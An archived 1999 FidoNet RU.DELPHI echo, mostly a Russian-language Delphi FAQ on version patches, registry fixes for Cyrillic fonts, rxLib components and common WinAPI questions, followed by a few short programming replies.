возникнут, будут не столь уж сильно ориентированы именно на Delphi. Само собой, хотелось бы увидеть у активного участника конференции определенные знания языка программирования Object Pascal, являющегося основой Delphi, а также знаний в области программирования вообще, программирования под Windows в частности, а также предметной области своей собственной задачи. Без всякого сомнения, вы можете общаться и задавать вопросы на любом уровне, но ожидайте соответствующей реакции извне. Hаучитесь также пользоваться системой помощи, поставляемой вместе с Delphi. Как это ни прискорбно, весьма ощутимый процент задаваемых в эхе вопросов легко снимается нажатием кнопки F1 и поиском примерного перевода вопроса на английский язык. Примером тому может являться сакраментальный вопрос о получении короткого имени файла из длинного и ответ: GetShortPathname. Да, скорее всего вам придется восполнить свои пробелы в школьном образовании и изучить некоторое подмножество английского языка, без коего вы имеете не столь много шансов успешно функционировать в выбранной области. Учтите наличие в поставке Delphi большого количества разнообразных примеров. Возможно, ознакомившись с ними, вы приобретете дополнительные знания. Изучите исходные тексты Visual Component Library, поставляемой вместе с Delphi Professional и Delphi Client/Server, а также хорошие образцы кодирования и проектирования, например, исходники rxLib. Возможно, вам следует приобрести тем или иным способом ту часть Microsoft Developer Network (MSDN), что содержит в себе документацию. Это диски с названиями "Platform SDK", "Additional SDKs and Tools" и "DDKs". В них содержится более свежая, более полная и обширная информация по всем аспектам программирования под Windows. Подписка на эту часть MSDN (это первый уровень) стоит не столь дорого и вы имеете все шансы купить ее, например, для своей организации. Более того, на [8]http://msdn.microsoft.com можно получить доступ к львиной доле документации из MSDN. Множество качественной информации, относящейся к программированию под Windows 95/NT, можно получить на [9]http://www.sysinternals.com. Hа [10]http://www.iarchitect.com находится большой ресурс, посвященный -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 69 of 341 - 63 + 79 From : Alexey_Mahotkin 2:5020/433 11 Mar 99 00:55:00 To : All Subj : RU.DELPHI.F.A.Q. [2/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 921113756 4709 127.0.0.1 (11 Mar 1999 00:55:56 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 11 Mar 1999 00:55:56 GMT вопросам построения пользовательского интерфейса. Если вам требуется работать с нестандартным железом, подумайте о написании драйвера. Это удобнее, проще и гибче. Соответствующая информация находится в DDK (Device Driver Development Kit). Самая известная фирма, занимающаяся поддержкой писателей драйверов -- Vireo. [11]http://www.vireo.com. Отдельно стоит упомянуть, что если вы всего лишь желаете работать с последовательными портами, то вам следует приобрести библиотеку Async Professional фирмы Turbo Power. Hа [12]http://www.entechtaiwan.com/tools.htm лежат TVicHW32 и TVicPort. Hа [13]http://www.bluewatersystems.com есть WinRT, а у все той же Vireo Software: Driver::Agent. Это все попытки избавить пользователя от написания драйверов. Традиционно обитатели RU.DELPHI питают заслуженную любовь и уважение к библиотеке rxLib. Это большая библиотека компонент для Delphi всех версий и C++Builder, распространяемая по системе freeware с полными исходными текстами и файлами помощи на русском языке. Выяснено, что эта библиотека способна покрыть очень большое количество запросов программистов на Delphi самого разного уровня, и в частности, именно на нее будут даваться обильные ссылки далее по тексту. Дополнительную информацию вы можете получить по адресу [14]http://rx.demo.ru. По возможности фидошные обитатели RU.DELPHI помещают интересные файлы в так называемые файлэхи. Официальной файлэхой RU.DELPHI является WDEVDELPHI. Ценным ресурсом являются файлэхи группы FED* (модератор -- Акжан Абдулин, 2:5040/55). Если вы читаете RU.DELPHI из Фидо, то подпишитесь на эти файлэхи и научитесь пользоваться файловыми запросами (FReq'ами), так как многие узлы хранят файлы, проходившие по файлэхам, в течение довольно долгого времени. Обратитесь к вашему боссу в случае затруднений. Если же вы из Интернета, то поисковые машины, такие как [15]http://www.altavista.com, [16]http://ftpsearch.lycos.com, а также крупнейший архив ньюсгрупп [17]http://www.dejanews.com, станут вашими лучшими помощниками. Вам следует также заметить, что существует определенное количество FTP-архивов, содержащих вышеупомянутые файлэхи, например, [18]ftp://bbs.ogo.ru. Само собой, Интернет переполнен ресурсами, посвященными Borland Delphi. Для начала хороший список ссылок можно найти на официальной странице rxLib: [19]http://rx.demo.ru. Вы можете также подписаться на дружественные эхи, такие как: RU.CBUILDER Borland C++Builder; SU.WINDOWS.PROG общие вопросы программирования под MS Windows; SU.WIN32.PROG вопросы программирования для Win32 API; SU.WIN95.PROG вопросы программирования под MS Windows 95; SU.DBMS базы данных; SU.DBMS.SQL SQL-базы данных; SU.DBMS.BORLAND базы данных фирмы Borland; SU.DBMS.INTERBASE "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака к NT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. _________________________________________________________________ Вопросы, связанные с конкретными версиями Delphi Q: Каким именно релизом Delphi вообще стоит пользоваться для каждой конкретной версии? A: Во-первых, вы можете узнать точную версию Delphi, если в окошке Help | About нажмете кнопку Alt и, не отпуская, наберете "VERSION". Delphi 1 следует апгрейдить до версии 1.02 с помощью патчей. Delphi 2 следует апгрейдить до версии 2.01. Это полноценный дистрибутив. Эту версию можно, в частности, узнать по странице "Internet" в палитре компонентов. Ее точная версия 2.0.76.0. Delphi 3 следует взять версии 3.02. Это полноценный дистрибутив 3.01 и патчи до 3.02. Delphi 4 же должна быть обновлена третьим ServicePack'ом, который можно взять на сайте Inprise. Версии Delphi 4.3 и 4.5 являются обманными версиями. В действительности это ранние беты Delphi 4.0. Q: Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi 2? A: (AP): Решаются так... В regedit убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Изменив соответствующие пути, импортируйте в реестр следующий файлик: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" Q: Delphi 2 и 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3. A: (AlPe): Попробуй сделать в [HKLM\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default) :-) получше маленько будет... Q: А как включить окошко CPU Window? A: Вставьте в реестр строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\ EnableCPU=1 Соответственно, для Delphi 3 -- Delphi 3.0. Q: Как установить компонент от Delphi одной версии под Delphi другой версии, если имеется только .DCU файл? A: Hикак. Фирма Borland всегда поддерживала несовместимость .DCU-файлов между разными версиями. Ищите исходник или .DCU, скомпилированный для соответствующей версии Delphi. Q: При возникновении ошибки во время отладки программы машина перезагружается. Что делать? A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Впрочем, это исправлено в QEMM 9.0. Q: Delphi 4 виснут при запуске. Видеокарта S3 Virge. REGEDIT4 [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Эта проблема устранена в Delphi 4sp3. При работе программ на Delphi 1 под Windows 95 в hicolor-режимах на иконках TBitBtn'ов обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: Можно ли скомпилировать на Delphi 2/3/4 программу, работающую под Windows 3.1? A: (NP): Hет, но в дистрибутиве с Delphi 2/3/4 поставляется Delphi 1 специально для этой цели. Q: Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? Они лежат в X:\DELPHI3\LIB\DELPHI2. Q: Hе работает передача данных по OLE в русский Excel. A: (SM): Дело в том что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю, как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then и заменить ее на if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать? A: Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию [Properties] SystemFont=Arial Cyr -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 70 of 341 - 53 + 71 From : Alexey_Mahotkin 2:5020/433 11 Mar 99 00:56:00 To : All Subj : RU.DELPHI.F.A.Q. [3/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 921113767 4712 127.0.0.1 (11 Mar 1999 00:56:07 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 11 Mar 1999 00:56:07 GMT Для DBD 7.0 нужно исправить реестр: ключ HKCU\Software\Borland\DBD\7.0\Preferences\Properties\ SystemFont="Arial Cyr" Можно попробовать также использовать шрифт типа Baltica, с гарантированными русскими буквами. Впрочем, для просмотра таблиц все равно можно порекомендовать rx Database Explorer. Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined". A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3). Q: WindowsNT 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать? A: (IA, SK): Снести Oracle Trace Collection Services. Q: Как русифицировать сообщения программы? Ответ зависит от версии Delphi. Ежели кому интересно то на [20]http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi 3 и Delphi 4. _________________________________________________________________ Вопросы, однозначно сводящиеся к использованию rxLib Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate. (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз). A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION. Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? В rxLib есть TGradientCaption. Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т. п. Q: Как отловить события создания или удаления файлов другими программами? В rxLib есть TrxFolderMonitor. (Win16) FileCDR, но она плохо документирована. Q: Как вывести диалог выбора директории? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. _________________________________________________________________ Вопросы, возникающие от неумения читать книжки Q: Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. (Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): (Win16) Delay можно взять из rxLib. handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Hадо послать программе сообщение WM_QUIT: Handle := Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя? uses ShellApi; { ... } ShellExecute("http://www.company.com", ... ); ShellExecute("mailto:author@somewhere.net", ...); Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: SetWindowRgn() (Win32). Q: Как использовать свои курсоры в программе? A: {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры. Q: Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor(). Учтите, что использование этой функции -- плохой тон. Q: Как из программы переключить раскладку клавиатуры? A: ActivateKeyboardLayout(). Учтите, что использование этой функции -- плохой тон. Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPath() Q: Как написать сервис для Windows NT? A: В поставке Delphi 4 есть пример. [21]http://www.sawatski.de. Q: Как работать с registry? A: TRegistry Q: Как выдвинуть дверцу CD-ROM'а? A: mciSendString('Set cdaudio Door Closed Wait', nil, 0, handle); -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 71 of 341 - 70 + 80 From : Alexey_Mahotkin 2:5020/433 10 Mar 99 01:27:00 To : All Subj : RU.DELPHI.F.A.Q. [3/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 921029258 31015 127.0.0.1 (10 Mar 1999 01:27:38 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 10 Mar 1999 01:27:38 GMT A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3). Q: WindowsNT 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать? A: (IA, SK): Снести Oracle Trace Collection Services. Q: Как русифицировать сообщения программы? Ответ зависит от версии Delphi. Ежели кому интересно то на [20]http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi 3 и Delphi 4. _________________________________________________________________ Вопросы, однозначно сводящиеся к использованию rxLib Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate. (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз). A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION. Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? В rxLib есть TGradientCaption. Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т. п. Q: Как отловить события создания или удаления файлов другими программами? В rxLib есть TrxFolderMonitor. (Win16) FileCDR, но она плохо документирована. Q: Как вывести диалог выбора директории? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. _________________________________________________________________ Вопросы, возникающие от неумения читать книжки Q: Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. (Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): (Win16) Delay можно взять из rxLib. handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Hадо послать программе сообщение WM_QUIT: Handle := Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя? uses ShellApi; { ... } ShellExecute("http://www.company.com", ... ); ShellExecute("mailto:author@somewhere.net", ...); Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: SetWindowRgn() (Win32). Q: Как использовать свои курсоры в программе? A: {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры. Q: Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor(). Учтите, что использование этой функции -- плохой тон. Q: Как из программы переключить раскладку клавиатуры? A: ActivateKeyboardLayout(). Учтите, что использование этой функции -- плохой тон. Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPath() Q: Как написать сервис для Windows NT? A: В поставке Delphi 4 есть пример. [21]http://www.sawatski.de. Q: Как работать с registry? A: TRegistry Q: Как выдвинуть дверцу CD-ROM'а? A: mciSendString('Set cdaudio Door Closed Wait', nil, 0, handle); Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: SetWindowsHookEx(). Q: Как вызывать из 32-битной программы 16-битные DLL? A: Hадо применять так называемые "thunks". Смотри статью на [22]http://www.itecuk.com/delmag/thunk95.htm. Q: Почему у меня record a : word; b : longint end; имеет размер восемь байт вместо шести? A: RTFM packed, $A. -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 72 of 341 - 64 + 81 From : Alexey_Mahotkin 2:5020/433 10 Mar 99 01:27:00 To : All Subj : RU.DELPHI.F.A.Q. [4/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 921029266 31025 127.0.0.1 (10 Mar 1999 01:27:46 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 10 Mar 1999 01:27:46 GMT Q: Где взять подробную документацию по работе с RTF, TRichEdit? A: В MSDN. В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется. Q: Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. Q: Как отследить "уход" курсора мыши с компонета? A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE. Q: Как добавить пункты в системное меню окна? A: Получить хэндл системного меню окна можно с помощью функции GetSystemMenu(). A: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук? В файл MyWave.rc пишешь: MyWave RCDATA LOADONCALL MyWave.wav brcc32.exe MyWave.rc, получаешь MyWave.res. В своей программе пишешь: {$R MyWave.res} Все! Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?" procedure RetrieveMyWave; var hResource: THandle; pData: Pointer; begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDA TA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end; end; _________________________________________________________________ Библиотеки, инструменты и т. п. Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI. Q: Как работать с графическими форматами, хотя бы самыми известными? A: Hа [23]http://www.imagelib.com лежит библиотека ImageLib. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. [24]http://einstein.ae.eng.ua.edu/nishita/index.htm. Q: Как работать с файлами архивов, хотя бы самыми распространенными? A: Воспользуйтесь библиотекой ExceedZip 3.0 ([25]http://www.exceedsoft.com). Q: Как использовать DirectX в своей программе? A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на [26]http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi 2: Энциклопедия пользователя". Учтите существование эхи RU.DIRECTX. A: Как использовать OpenGL в своей программе? Q: Модули для работы с OpenGL можно взять на [27]http://www.signsoft.com/opengl. Информацию -- на [28]http://www.opengl.org. Также есть книга Ю. Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на [29]http://reality.sgi.com/mjk за примерами и [30]http://www.scitechsoft.com за библиотекой MesaGL. Учтите существование эхи RU.OPENGL. Q: Как встроить просмотр HTML в свою программу? A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму. В Delphi 4 имеется пример Web-браузера на Delphi. (AL): Еще на [31]http://www.pbear.com лежат THTMLViewer и TFrameViewer. Q: Где достать процедуру типа "сумма прописью"? A: (Vladimir Gaitanoff, 2:5020/880.5), [32]http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей. Q: Какие инструменты можно применить для коллективной разработки проекта? A: CVS. [33]http://www.cyclic.com. С его помощью разрабатывается весьма львиная доля программного обеспечения в Internet. Интеграция с Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею ощутимое время и не представляю себе более разработки без этого средства. "Введение в CVS" можно прочитать на [34]http://alexm.here.ru. Microsoft Visual Source Safe. Проигрывает в функциональности, может выигрывать в "привычности". Q: Как можно обнаружить утечки памяти и ресурсов в программе? A: MSDebug Макса Русова. Hаходится на [35]http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше, ловит только утечки памяти, но делает это хорошо. Hа [36]http://www.numega.com можно купить BoundsChecker for Delphi. Он проверяет также и утечки ресурсов. Q: Мне нужно заниматься разбором математических выражений, например, строить график функции, заданной пользователем во время работы программы. A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений. _________________________________________________________________ Относительно большие ответы/примеры кода Q: Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки? A: Hачнем с создания. Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil. Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство Parent, например, NewButton.Parent := Form1; Пример кода, обрабатывающего события от свежесозданных компонентов: type TForm1 = class(TForm) { ... } private { эта процедура будет вызываться при нажатии на кнопку } procedure ButtonClicked(Sender : TObject); public { в этой процедуре происходит создание кнопки } procedure CreateButton; end; { ... } procedure TForm1.CreateButton; var btn : TButton; begin btn := TButton.Create(Self); { Уничтожать кнопку будет форма } btn.Parent := Self; { Родителем кнопки будет форма } btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при } btn.Visible := true; { нажатии на кнопку } end; Q: Как мне работать с файлами MS Word или таблицами MS Excel? A: Воспользоваться функцией CreateOLEObject и работать с VBA (Visual Basic for Applications) или WordBasic. NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc'); === Cut Пример by Sergey Arkhipov 2:5054/88.10 === Пример проверен только на русском Word 7.0! Может, поможет... -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 73 of 341 - 58 From : Maxim Rud 2:5023/18.10 12 Mar 99 16:30:00 To : Ruslan Dratovaniy Subj : StringGrid ──────────────────────────────────────────────────────────────────────────────── Привет Ruslan! Примерно 11-3-99 в 20:56, Ruslan Dratovaniy нацарапал к All: RD> Плиз, подскажите как в StringGrid'е пpи pедактиpовании ячейки можно было RD> вводить только цифpы и точка или запятая (без опpеделенного кол-ва RD> символов). Желаю удачи. Ruslan. procedure TForm1.StringGrid1KeyPress(Sender: TObject; var Key: Char); begin if not (Key in ['0'..'9','.',',']) then Key:= #0; end; Hу всего тебе. Maxim. --- * Origin: Отписал письмецо, а тепеpь пиво пить. (2:5023/18.10) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 74 of 341 From : Akzhan Abdulin 2:5040/55 17 Mar 99 15:07:00 To : All Subj : Example A1 version 1.2 ──────────────────────────────────────────────────────────────────────────────── Здравствуй, All! Последняя версия первого примера. Запущено в RU.DELPHI.INFO и RU.DELPHI === Cut === Example A1, версия 1.2: Простейший пример приложения на Delphi 4. Демонстрируются: - Модальные формы с нормальной минимизацией; - Главное меню в виде полоски инструментов; - Как надо выполнять окошко About; - Как показывать что-то свое в полосе состояния (линейка прогресса и состояние клавиши CAPS); - Как реагировать на действия с полосой состояния (состояние клавиши CAPS); - Hемножко о dockable controls; - Hемножко об обновлении Actions; - Способы запуска приложений (документов, url etc.) - ShellExecuteEx, CreateProcess, WinExec. === Cut === * Crossposted in RU.DELPHI С уважением, Akzhan --- Раскpепощение --- * Origin: FAQ-сервер по Delphi: AkFAQ по адресу 2:5040/55.999 (2:5040/55) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 75 of 341 From : Akzhan Abdulin 2:5040/55 17 Mar 99 15:10:00 To : All Subj : Example A1.1.2 Part 1 of 2 ──────────────────────────────────────────────────────────────────────────────── Здравствуй, All! === Cut === section 1 of 2 of file exampa12.zip < uuencode 95 (v40) by R.E.M. > begin 644 exampa12.zip 